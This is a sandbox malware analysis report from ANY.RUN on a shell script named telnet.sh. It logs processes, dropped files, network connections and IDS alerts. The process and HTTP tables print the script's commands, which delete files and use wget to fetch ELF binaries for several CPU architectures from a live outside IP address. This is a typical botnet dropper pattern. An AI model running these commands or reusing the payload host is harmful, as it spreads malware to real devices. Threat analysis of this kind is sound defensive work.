Malware analysis telnet.sh Malicious activity | ANY.RUN

Add for printing

File name:	telnet.sh
Full analysis:	https://app.any.run/tasks/381dbd59-e389-4704-b1e3-b316abd72ebf
Verdict:	Malicious activity
Analysis date:	April 29, 2025, 13:22:31
OS:	Ubuntu 22.04.2
MIME:	text/plain
File info:	ASCII text, with CRLF line terminators
MD5:	A30F89E4BB7A30C4C05189565931B775
SHA1:	395555C23361B5C325504694E35DF1F2E544144C
SHA256:	298D72EB6A530EE05C63473C9C810A83D95686FBB44A1F30AFE15AB9F0CC864A
SSDEEP:	12:EIoVDgIoV2IoVxuXIoVzNIh5oGjIoVAKLKV0:E7tg747jm7NNIf/7hKq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
No malicious indicators.
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 39490)
- Executes commands using command-line interpreter
  - sudo (PID: 39493)
- Uses wget to download content
  - bash (PID: 39495)
- Executes the "rm" command to delete files or directories
  - bash (PID: 39495)
- Connects to the server without a host name
  - wget (PID: 39498)
  - wget (PID: 39520)
- Potential Corporate Privacy Violation
  - wget (PID: 39505)
  - wget (PID: 39498)
  - wget (PID: 39515)
  - wget (PID: 39510)
  - wget (PID: 39520)
INFO
- Checks timezone
  - wget (PID: 39505)
  - wget (PID: 39510)
  - wget (PID: 39498)
  - wget (PID: 39515)
  - wget (PID: 39520)
- Creates file in the temporary folder
  - wget (PID: 39498)
  - wget (PID: 39515)
  - wget (PID: 39510)
  - wget (PID: 39505)
  - wget (PID: 39520)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

247

Monitored processes

29

Malicious processes

1

Suspicious processes

1

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
39489	/bin/sh -c "sudo chown user /tmp/telnet\.sh && chmod +x /tmp/telnet\.sh && DISPLAY=:0 sudo -iu user /tmp/telnet\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 32256
39490	sudo chown user /tmp/telnet.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
39491	chown user /tmp/telnet.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
39492	chmod +x /tmp/telnet.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
39493	sudo -iu user /tmp/telnet.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 32256
39494	systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service	/usr/bin/systemctl	—	snapd
User: root Integrity Level: UNKNOWN Exit code: 0
39495	-bash --login -c \/tmp\/telnet\.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 32256
39496	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
39497	rm -rf mips	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
39498	wget http://94.26.90.205/mips	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

0

Suspicious files

5

Text files

0

Unknown types

0

Dropped files

PID	Process	Filename		Type
39498	wget	/tmp/mips		binary
		MD5:—	SHA256:—
39505	wget	/tmp/mipsel		binary
		MD5:—	SHA256:—
39510	wget	/tmp/arm5		binary
		MD5:—	SHA256:—
39515	wget	/tmp/arm6		binary
		MD5:—	SHA256:—
39520	wget	/tmp/arm7		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

6

TCP/UDP connections

13

DNS requests

12

Threats

5

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.98:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
39498	wget	GET	200	94.26.90.205:80	http://94.26.90.205/mips	unknown	—	—	unknown
39505	wget	GET	200	94.26.90.205:80	http://94.26.90.205/mipsel	unknown	—	—	unknown
39510	wget	GET	200	94.26.90.205:80	http://94.26.90.205/arm5	unknown	—	—	unknown
39520	wget	GET	200	94.26.90.205:80	http://94.26.90.205/arm7	unknown	—	—	unknown
39515	wget	GET	200	94.26.90.205:80	http://94.26.90.205/arm6	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.18:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	185.125.190.98:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	207.211.211.27:443	odrs.gnome.org	—	US	whitelisted
512	snapd	185.125.188.55:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
39498	wget	94.26.90.205:80	—	Deutsche Telekom AG	GB	unknown
39505	wget	94.26.90.205:80	—	Deutsche Telekom AG	GB	unknown
39510	wget	94.26.90.205:80	—	Deutsche Telekom AG	GB	unknown
39515	wget	94.26.90.205:80	—	Deutsche Telekom AG	GB	unknown
39520	wget	94.26.90.205:80	—	Deutsche Telekom AG	GB	unknown

DNS requests

Domain	IP	Reputation
google.com	216.58.212.142 2a00:1450:4001:801::200e	whitelisted
connectivity-check.ubuntu.com	185.125.190.98 91.189.91.48 185.125.190.49 91.189.91.98 91.189.91.49 185.125.190.97 91.189.91.96 91.189.91.97 185.125.190.17 185.125.190.96 185.125.190.18 185.125.190.48 2620:2d:4000:1::96 2001:67c:1562::24 2620:2d:4000:1::97 2620:2d:4000:1::2a 2620:2d:4002:1::197 2620:2d:4000:1::98 2620:2d:4000:1::22 2001:67c:1562::23 2620:2d:4000:1::2b 2620:2d:4002:1::198 2620:2d:4000:1::23 2620:2d:4002:1::196	whitelisted
odrs.gnome.org	207.211.211.27 37.19.194.80 169.150.255.180 169.150.255.184 195.181.170.19 195.181.175.40 212.102.56.178 2a02:6ea0:c700::107 2a02:6ea0:c700::19 2a02:6ea0:c700::21 2a02:6ea0:c700::11 2a02:6ea0:c700::18 2a02:6ea0:c700::112 2a02:6ea0:c700::101	whitelisted
api.snapcraft.io	185.125.188.55 185.125.188.59 185.125.188.58 185.125.188.54 2620:2d:4000:1010::117 2620:2d:4000:1010::6d 2620:2d:4000:1010::42 2620:2d:4000:1010::344	whitelisted
3.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
39498	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
39505	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
39510	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
39515	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
39520	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP

Add for printing

No debug info

General Info

telnet.sh

A30F89E4BB7A30C4C05189565931B775

395555C23361B5C325504694E35DF1F2E544144C

298D72EB6A530EE05C63473C9C810A83D95686FBB44A1F30AFE15AB9F0CC864A

12:EIoVDgIoV2IoVxuXIoVzNIh5oGjIoVAKLKV0:E7tg747jm7NNIf/7hKq

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

SUSPICIOUS

Modifies file or directory owner

Executes commands using command-line interpreter

Uses wget to download content

Executes the "rm" command to delete files or directories

Connects to the server without a host name

Potential Corporate Privacy Violation

INFO

Checks timezone

Creates file in the temporary folder

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings